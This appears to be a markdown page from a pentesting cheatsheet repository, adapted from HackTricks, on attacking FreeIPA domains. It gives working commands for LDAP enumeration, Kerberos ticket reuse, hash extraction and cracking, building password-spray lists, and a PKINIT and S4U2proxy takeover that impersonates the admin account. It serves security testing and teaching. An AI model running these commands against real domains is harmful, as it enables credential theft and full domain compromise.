daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

freeipa-pentesting.md (17639B)


      1 ---
      2 title: "FreeIPA Pentesting"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/software-information/freeipa-pentesting.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/software-information/freeipa-pentesting.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # FreeIPA Pentesting
     14 
     15 ## Basic Information
     16 
     17 FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes.<sup>[[2]](#references)[[9]](#references)</sup>
     18 
     19 ## Fingerprints
     20 
     21 ### Files & Environment Variables
     22 
     23 These files and variables are useful host fingerprints in FreeIPA and Kerberos environments.<sup>[[2]](#references)</sup>
     24 
     25 - The file at `/etc/krb5.conf` is where Kerberos client information, necessary for enrollment in the domain, is stored. This includes KDCs and admin servers' locations, default settings, and mappings.
     26 - System-wide defaults for IPA clients and servers are set in the file located at `/etc/ipa/default.conf`.
     27 - Hosts within the domain must have a `krb5.keytab` file at `/etc/krb5.keytab` for authentication processes.
     28 - Various environment variables (`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`) are used to point to specific files and settings relevant to Kerberos authentication.
     29 
     30 ### Binaries
     31 
     32 Tools such as `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, and `kvno` are key to managing FreeIPA domains, handling Kerberos tickets, changing passwords, and acquiring service tickets, among other functionalities.<sup>[[2]](#references)</sup>
     33 
     34 ### Network
     35 
     36 An illustration is provided to depict a typical FreeIPA server setup.<sup>[[7]](#references)</sup>
     37 
     38 ## Authentication
     39 
     40 Authentication in FreeIPA, leveraging **Kerberos**, mirrors that in **Active Directory**. Access to domain resources necessitates a valid Kerberos ticket, which can be stored in various locations depending on FreeIPA domain configuration.<sup>[[2]](#references)</sup>
     41 
     42 ### **CCACHE Ticket Files**
     43 
     44 CCACHE files, stored typically in **`/tmp`** with **600** permissions, are binary formats for storing Kerberos credentials, important for authentication without a user's plaintext password due to their portability. Parsing a CCACHE ticket can be done using the `klist` command, and re-using a valid CCACHE Ticket involves exporting `KRB5CCNAME` to the ticket file's path.<sup>[[2]](#references)</sup>
     45 
     46 ### **Unix Keyring**
     47 
     48 Alternatively, CCACHE Tickets can be stored in the Linux keyring, offering more control over ticket management. The scope of ticket storage varies (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`), with `klist` capable of parsing this information for the user. However, re-using a CCACHE Ticket from the Unix keyring can pose challenges, with tools like **Tickey** available for extracting Kerberos tickets.<sup>[[2]](#references)</sup>
     49 
     50 ### Keytab
     51 
     52 Keytab files, containing Kerberos principals and encrypted keys, are critical for obtaining valid ticket granting tickets (TGT) without needing the principal's password. Parsing and re-using credentials from keytab files can be easily performed with utilities like `klist` and scripts such as **KeytabParser**.<sup>[[2]](#references)</sup>
     53 
     54 ### Cheatsheet
     55 
     56 You can find more information about how to use tickets in linux in the following link:
     57 
     58 
     59 [Linux Active Directory](/hacktricks/linux-hardening/user-information/linux-active-directory)
     60 
     61 ## Enumeration
     62 
     63 > [!WARNING]
     64 > You can perform the **enumeration** via **LDAP** and the **`ipa`** CLI, or by connecting to the FreeIPA web interface.<sup>[[3]](#references)[[9]](#references)</sup>
     65 
     66 ### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
     67 
     68 It's possible to create **hosts**, **users** and **groups**. Hosts and users are sorted into containers called “**Host Groups**” and “**User Groups**” respectively. These are similar to **Organizational Units** (OU).<sup>[[3]](#references)</sup>
     69 
     70 By default in FreeIPA, the LDAP server allows for **anonymous binds**, and a large swath of data is enumerable **unauthenticated**; the following command requests the anonymously visible entries.<sup>[[3]](#references)</sup>
     71 
     72 ```text
     73 ldapsearch -x
     74 ```
     75 
     76 To get **more information** you need to use an **authenticated** session (check the Authentication section to learn how to prepare an authenticated session).<sup>[[3]](#references)</sup>
     77 
     78 ```bash
     79 # Get all users of domain
     80 ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
     81 
     82 # Get users groups
     83 ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local"
     84 
     85 # Get all the hosts
     86 ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
     87 
     88 # Get hosts groups
     89 ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
     90 ```
     91 
     92 From a domain joined machine you will be able to use **installed binaries** to enumerate the domain.<sup>[[3]](#references)</sup>
     93 
     94 ```bash
     95 ipa user-find
     96 ipa usergroup-find
     97 ipa host-find
     98 ipa host-group-find
     99 
    100 -------------------
    101 
    102 ipa user-show <username> --all
    103 ipa usergroup-show <user group> --all
    104 ipa host-find <host> --all
    105 ipa hostgroup-show <host group> --all
    106 ```
    107 
    108 > [!TIP]
    109 > The **admin** user of **FreeIPA** is the equivalent to **domain admins** from **AD**.<sup>[[8]](#references)</sup>
    110 
    111 ### Hashes <a href="#id-482b" id="id-482b"></a>
    112 
    113 The **root** user from the **IPA serve**r has access to the password **hashes**.<sup>[[7]](#references)</sup>
    114 
    115 - User password hashes are stored in the LDAP `userPassword` attribute using a configured password-storage scheme; 389 Directory Server supports schemes including `SSHA512` and `PBKDF2_SHA256`.<sup>[[10]](#references)</sup>
    116 - In FreeIPA deployments integrated with AD, the NT hash may be exposed as base64 in the `ipaNTHash` attribute.<sup>[[7]](#references)[[11]](#references)</sup>
    117 
    118 To crack these hashes:
    119 
    120 • If FreeIPA is integrated with AD, decode the base64 **`ipaNTHash`** value and re-encode it as ASCII hex before passing it to John the Ripper or **hashcat**.<sup>[[7]](#references)[[11]](#references)</sup>
    121 
    122 • Older FreeIPA deployments may use **`SSHA512`**; decode the base64 value and pass the resulting format to John the Ripper or **hashcat**.<sup>[[7]](#references)[[10]](#references)</sup>
    123 
    124 • When **`PBKDF2_SHA256`** is configured, the derived key is 256 bits (32 bytes); use John the Ripper or **hashcat** only when they support the exact stored format, and do not truncate the digest.<sup>[[10]](#references)[[13]](#references)</sup>
    125 
    126 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/images/image%20%28655%29.png" alt=""><figcaption></figcaption></figure>
    127 
    128 To extract the hashes you need to be **root in the FreeIPA server**, where you can use the **`dbscan`** tool to dump Directory Server database contents.<sup>[[7]](#references)[[12]](#references)</sup>
    129 
    130 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/images/image%20%28293%29.png" alt=""><figcaption></figcaption></figure>
    131 
    132 ### HBAC-Rules <a href="#id-482b" id="id-482b"></a>
    133 
    134 There are rules that grant specific permissions to users or hosts over resources (hosts, services, service groups...).<sup>[[3]](#references)</sup>
    135 
    136 ```bash
    137 # Enumerate using ldap
    138 ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
    139 # Using ipa
    140 ipa hbacrule-find
    141 # Show info of rule
    142 ipa hbacrule-show <hbacrule> --all
    143 ```
    144 
    145 #### Sudo-Rules
    146 
    147 FreeIPA enables centralized control over **sudo permissions** via sudo-rules. These rules allow or limit the execution of commands with sudo on hosts within the domain. An attacker could potentially identify the applicable hosts, users, and allowed commands by examining these rulesets.<sup>[[3]](#references)</sup>
    148 
    149 ```bash
    150 # Enumerate using ldap
    151 ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
    152 # Using ipa
    153 ipa sudorule-find
    154 # Show info of rule
    155 ipa sudorule-show <sudorule> --all
    156 ```
    157 
    158 ### Role-Based Access Control
    159 
    160 A **role** is comprised of various **privileges**, each of which encompasses a collection of **permissions**. These roles can be assigned to Users, User **Groups**, **Hosts**, Host Groups, and Services. For instance, consider the default “User Administrator” role in FreeIPA to exemplify this structure.<sup>[[3]](#references)</sup>
    161 
    162 The role `User Administrator` has these privileges:
    163 
    164 - **User Administrators**
    165 - **Group Administrators**
    166 - **Stage User Administrators**
    167 
    168 With the following commands it's possible to enumerate the roles, privileges and permissions.<sup>[[3]](#references)</sup>
    169 
    170 ```bash
    171 # Using ldap
    172 ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
    173 # Using ipa binary
    174 ipa role-find
    175 ipa role-show <role> --all
    176 ipa privilege-find
    177 ipa privilege-show <privilege> --all
    178 ipa permission-find
    179 ipa permission-show <permission> --all
    180 ```
    181 
    182 ### IPAHound: Graphing FreeIPA from a low-privileged user
    183 
    184 In **FreeIPA**, a regular user usually **cannot read** the real **ACI / permission / delegation** internals, so a pentest-oriented graph has to **infer effective privileges** from attributes that remain readable. [IPAHound](https://github.com/IPAHound/IPAHound) does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a **standard user**, a **host keytab**, or a **service account**.<sup>[[4]](#references)[[5]](#references)</sup>
    185 
    186 #### Collector usage
    187 
    188 The current collector CLI is lowercase `ipahound`; the flags below are documented by the project.<sup>[[5]](#references)</sup>
    189 
    190 ```bash
    191 # Kerberos auth
    192 ipahound -k -s dc1.domain.local -a freeipa_apoc.json
    193 
    194 # Username/password auth
    195 ipahound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json
    196 
    197 # Save raw LDAP for offline re-processing
    198 ipahound -k -s dc1.domain.local --output-raw raw.json
    199 ipahound --input-raw raw.json -a freeipa_apoc.json
    200 ```
    201 
    202 For large datasets, importing the **APOC** JSON into **Neo4j** is much faster than GUI upload.<sup>[[4]](#references)[[5]](#references)[[6]](#references)</sup>
    203 
    204 ```text
    205 CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE;
    206 CREATE CONSTRAINT FOR (n:IPAUser) REQUIRE n.neo4jImportId IS UNIQUE;
    207 CREATE CONSTRAINT FOR (n:IPAGroup) REQUIRE n.neo4jImportId IS UNIQUE;
    208 CREATE CONSTRAINT FOR (n:IPAComputer) REQUIRE n.neo4jImportId IS UNIQUE;
    209 CREATE CONSTRAINT FOR (n:IPAService) REQUIRE n.neo4jImportId IS UNIQUE;
    210 CALL apoc.import.json("/path/to/freeipa_apoc.json");
    211 ```
    212 
    213 #### Useful FreeIPA inference points
    214 
    215 The collector maps these readable attributes to graph relationships and flags as follows.<sup>[[4]](#references)[[5]](#references)</sup>
    216 
    217 - **`memberOf`**: often the best low-privilege source to infer hidden **roles**, **privileges**, and **permissions**.
    218 - **`memberManager`**: indicates who can change group membership, which is an **`AddMember`** primitive.
    219 - **`managedBy`**: indicates ownership of a host/group, which becomes an **`Owns`** edge.
    220 - **`ipaAllowedToPerform;read_keys`**: translates into **`ReadKerberosKey`** and can expose keytab retrieval paths.
    221 - **`ipaAllowedToPerform;write_keys`**: translates into **`ForceChangePassword`** for computer/service Kerberos keys.
    222 - **`ipaAllowedToPerform;write_delegation`**: indicates who can configure **RBCD**, which becomes **`AddRBCD`**.
    223 - **`krbTicketFlags`**: look for `IPAKrbOkAsDelegate` and `IPAKrbOkToAuthAsDelegate` to spot delegation-capable hosts/services.
    224 - **`ipaUserAuthType`**: if missing, password auth is usually allowed; IPAHound derives this into **`PasswordAuthAllow=True`**.
    225 
    226 #### Hunting sprayable users and lateral movement
    227 
    228 Use **`PasswordAuthAllow`** to build a focused spray list instead of spraying every principal.<sup>[[4]](#references)[[5]](#references)</sup>
    229 
    230 ```text
    231 MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True
    232 RETURN n.krbCanonicalName
    233 ```
    234 
    235 Then pivot with the FreeIPA-specific lateral movement edges.<sup>[[4]](#references)[[5]](#references)</sup>
    236 
    237 - **`CanSSH`**: an HBAC rule allows access to `sshd`.
    238 - **`CanSUDO`**: HBAC allows `sudo` **and** a matching sudo rule exists.
    239 - Check the **`CanSUDO`** edge attributes for **`ipaSudoOpt=!authenticate`**, **`ipaSudoRunAs`**, **`cmdCategory`**, **`memberAllowCmd`**, and **`memberDenyCmd`** to decide whether the path gives practical host escalation.
    240 - A path such as **`CanSSH`** + **`CanSUDO`** to a domain controller can be enough to steal **`id2entry.db`**, which is effectively full domain compromise.
    241 
    242 #### Service takeover, PKINIT, and delegation chaining
    243 
    244 If you control a **computer account**, remember that in FreeIPA it typically **owns its service principals**. That gives two main options.<sup>[[4]](#references)</sup>
    245 
    246 - reset the service keys with **`ipa-getkeytab`**
    247 - avoid resetting the service password and instead abuse **PKINIT** by writing a certificate into the owned service LDAP object
    248 
    249 Minimal PKINIT takeover flow:<sup>[[4]](#references)</sup>
    250 
    251 ```bash
    252 openssl req -new -newkey rsa:2048 -days 365 -nodes \
    253   -keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
    254 ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
    255 ldapmodify -h dc1.domain.local <<'EOF'
    256 dn: krbprincipalname=test/srv.domain.local@DOMAIN.LOCAL,cn=services,cn=accounts,dc=domain,dc=local
    257 add: userCertificate;binary
    258 userCertificate;binary:: <base64 certificate>
    259 EOF
    260 kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
    261 ldapwhoami -H ldap://dc1.domain.local
    262 ```
    263 
    264 Notes:<sup>[[4]](#references)</sup>
    265 
    266 - The CSR **CN** needs to match the exact hostname.
    267 - Adding the cert with the **`ipa`** utility is not enough for this path; write **`userCertificate;binary`** via **LDAP**.
    268 - Verify the new identity with **`ldapwhoami`** before attempting delegation abuse.
    269 
    270 Once the service has an **`AllowedToDelegate`** path, use **S4U2proxy** to impersonate a privileged account to LDAP.<sup>[[4]](#references)</sup>
    271 
    272 ```bash
    273 kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
    274   test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
    275 KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
    276 ```
    277 
    278 If the graph instead shows **`AddMember`** followed by **`AddRBCD`**, add yourself to the delegated group first and then configure RBCD with `ipa service-add-delegation` before requesting the delegated LDAP ticket.<sup>[[4]](#references)</sup>
    279 
    280 ### Attack Scenario Example
    281 
    282 In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain.<sup>[[8]](#references)</sup>
    283 
    284 ### Linikatz/LinikatzV2
    285 
    286 - [https://github.com/Orange-Cyberdefense/LinikatzV2](https://github.com/Orange-Cyberdefense/LinikatzV2)
    287 - [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz)
    288 
    289 ## Privesc
    290 
    291 ### ~~root user creation~~
    292 
    293 > [!WARNING]
    294 > If you can **create a new user with the name `root`**, you can impersonate him and you will be able to **SSH into any machine as root.**
    295 >
    296 > **THIS HAS BEEN PATCHED.**
    297 
    298 You can check a detailed explaination in [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b).<sup>[[1]](#references)</sup>
    299 
    300 ## References
    301 
    302 - [1] [Attacking FreeIPA — Part IV: CVE-2020–10747](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
    303 - [2] [Attacking FreeIPA — Part I Authentication](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
    304 - [3] [Attacking FreeIPA — Part II Enumeration](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
    305 - [4] [Thinking in Graphs with IPAHound](https://swarm.ptsecurity.com/thinking-in-graphs-with-ipahound/)
    306 - [5] [IPAHound - BloodHound collector for FreeIPA](https://github.com/IPAHound/IPAHound)
    307 - [6] [IPAHound-GUI - GUI for the IPAHound collector](https://github.com/IPAHound/IPAHound-GUI)
    308 - [7] [Olga Karelova - Пентестим FreeIPA (Pentesting FreeIPA)](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
    309 - [8] [Attacking FreeIPA — Part III: Finding A Path](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e)
    310 - [9] [About FreeIPA](https://www.freeipa.org/page/About)
    311 - [10] [Password storage schemes in 389 Directory Server](https://github.com/389ds/389-ds-base/blob/main/src/lib389/doc/source/passwd.rst)
    312 - [11] [FreeIPA LDAP schema](https://github.com/freeipa/freeipa/blob/master/install/share/60basev3.ldif)
    313 - [12] [dbscan(1) manual page](https://github.com/389ds/389-ds-base/blob/main/man/man1/dbscan.1)
    314 - [13] [389 Directory Server PBKDF2 upgrade tests](https://github.com/389ds/389-ds-base/blob/main/dirsrvtests/tests/suites/password/pbkdf2_upgrade_plugin_test.py)